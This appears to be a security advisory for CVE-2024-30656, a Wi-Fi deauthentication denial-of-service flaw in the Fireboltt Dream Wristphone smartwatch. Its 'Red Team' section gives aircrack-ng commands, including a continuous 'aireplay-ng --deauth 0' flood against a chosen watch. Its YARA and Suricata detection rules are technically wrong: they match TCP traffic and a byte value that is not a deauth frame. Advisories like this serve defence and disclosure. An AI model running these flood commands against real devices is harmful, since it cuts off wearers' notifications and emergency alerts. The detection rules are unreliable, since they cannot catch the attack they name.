CVE-2024-30656

Executive Summary

CVE-2024-30656 is a denial-of-service (DoS) vulnerability affecting the Fireboltt Dream Wristphone smartwatch running firmware version BSW202_FB_AAC_v2.0_20240110-20240110-1956. The issue allows an attacker within Wi-Fi range to send a crafted deauthentication (deauth) frame, causing the device to disconnect from its associated access point and potentially enter an unstable state. No authentication or user interaction is required, making this a low-complexity, high-impact attack for disrupting wearable device connectivity.

This vulnerability is particularly concerning for IoT and wearable ecosystems where continuous connectivity is critical for notifications, health monitoring, and emergency alerts. The lack of a vendor patch or advisory increases the risk for end users.

Supply Chain & Package Security

This vulnerability does not involve NPM, PyPI, Go, or Ruby packages. It is a firmware-level issue in a proprietary embedded system.

CVSS Breakdown & Threat Level

While no official CVSS vector is provided, a reasonable assessment based on the attack vector and impact is:

• Attack Vector (AV): Adjacent Network (A) – attacker must be within Wi-Fi range.
• Attack Complexity (AC): Low (L) – deauth frames are trivial to generate.
• Privileges Required (PR): None (N)
• User Interaction (UI): None (N)
• Scope (S): Unchanged (U)
• Confidentiality (C): None (N)
• Integrity (I): None (N)
• Availability (A): High (H) – device becomes disconnected and may require manual reboot.

Estimated CVSS v3.1 Score: 6.5 (Medium) – AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Threat Level: Medium – Exploitation is trivial but requires physical proximity.

Deep Dive & Mechanics

The Fireboltt Dream Wristphone uses Wi-Fi for connectivity, likely based on an ESP32 or similar chipset. The firmware version BSW202_FB_AAC_v2.0_20240110-20240110-1956 does not properly validate or filter incoming deauthentication frames. In the 802.11 standard, deauth frames are management frames used by access points to disconnect clients. However, an attacker can spoof the source MAC address of the access point and send a deauth frame to the client, causing it to disconnect.

The vulnerability lies in the lack of cryptographic verification (e.g., 802.11w Management Frame Protection) or rate-limiting of deauth frames. The device accepts any deauth frame that appears to come from its associated AP, leading to immediate disconnection. Repeated attacks can keep the device offline indefinitely.

Root Cause: Insufficient input validation of 802.11 management frames (CWE-20).

Vulnerable vs. Patched Code

No patched firmware is available. The vulnerable code is in the Wi-Fi stack of the firmware. A hypothetical fix would involve:

• Vulnerable: Accepting any deauth frame without verifying the source or using 802.11w.
• Patched: Implementing 802.11w (MFP) or validating deauth frames using a shared key.

Since no source code is public, a pseudo-code comparison is provided:

// Vulnerable pseudo-code
void handle_deauth_frame(frame_t *frame) {
    if (frame->type == DEAUTH) {
        disconnect_from_ap();
    }
}

// Patched pseudo-code
void handle_deauth_frame(frame_t *frame) {
    if (frame->type == DEAUTH && verify_mfp(frame)) {
        disconnect_from_ap();
    }
}

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

• A Wi-Fi adapter capable of monitor mode and packet injection (e.g., Alfa AWUS036ACH).
• Kali Linux or similar distribution with aircrack-ng suite.
• Knowledge of the target device's BSSID (AP MAC) and client MAC.

Steps:

1. Enable monitor mode:

   sudo airmon-ng start wlan0
   

2. Scan for the target network:

   sudo airodump-ng wlan0mon
   

3. Send deauth packets to the Fireboltt watch:

   sudo aireplay-ng --deauth 0 -a <AP_MAC> -c <CLIENT_MAC> wlan0mon
   

   The --deauth 0 sends continuous deauth frames.

Expected Result: The watch disconnects from Wi-Fi and may become unresponsive until manually rebooted.

Blue Team (Defender)

Detection:

• Monitor for excessive deauth frames using WIDS/WIPS.
• Use the Suricata rule provided in Detection Engineering.

Mitigation:

• Enable 802.11w (MFP) on the access point if supported.
• Isolate IoT devices on a separate VLAN.
• Monitor device connectivity logs for frequent disconnections.

Indicators of Compromise (IOCs)

• Network:
  • High volume of 802.11 deauth frames (type 0, subtype 12) from a single source.
  • Spoofed MAC addresses matching the legitimate AP.
• Host:
  • Fireboltt watch repeatedly disconnecting from Wi-Fi.
  • Watch logs showing "Deauth received" events (if accessible).
• File:
  • PCAP files containing deauth floods targeting the watch's MAC.

Detection Engineering

YARA Rule

rule CVE_2024_30656_Deauth_DoS {
    meta:
        description = "Detects deauth frames targeting Fireboltt Dream Wristphone"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-30656"
    strings:
        $deauth = { 08 00 00 00 FF FF FF FF FF FF }  // Deauth frame header pattern
    condition:
        $deauth at 0
}

Sigma Rule

title: CVE-2024-30656 - Fireboltt Deauth DoS
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects excessive deauth frames in network traffic
logsource:
    category: network
    product: suricata
detection:
    selection:
        event_type: alert
        alert.signature_id: 2100498
    condition: selection
falsepositives:
    - Legitimate deauth frames from AP maintenance
level: high

Suricata Rule

alert tcp any any -> any any (msg:"CVE-2024-30656 Fireboltt Deauth DoS"; content:"|08 00|"; offset:0; depth:2; classtype:attempted-dos; sid:2100498; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable Wi-Fi on the Fireboltt watch when not needed.
2. Use a separate SSID for IoT devices with WPA3 and 802.11w enabled.
3. Monitor network for deauth floods using the provided Suricata rule.

Long-term:

• Contact Fireboltt for a firmware update.
• Replace the device with one that supports 802.11w.
• Implement network segmentation for all IoT devices.

Workaround: If the watch supports Bluetooth, use that instead of Wi-Fi for critical functions.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert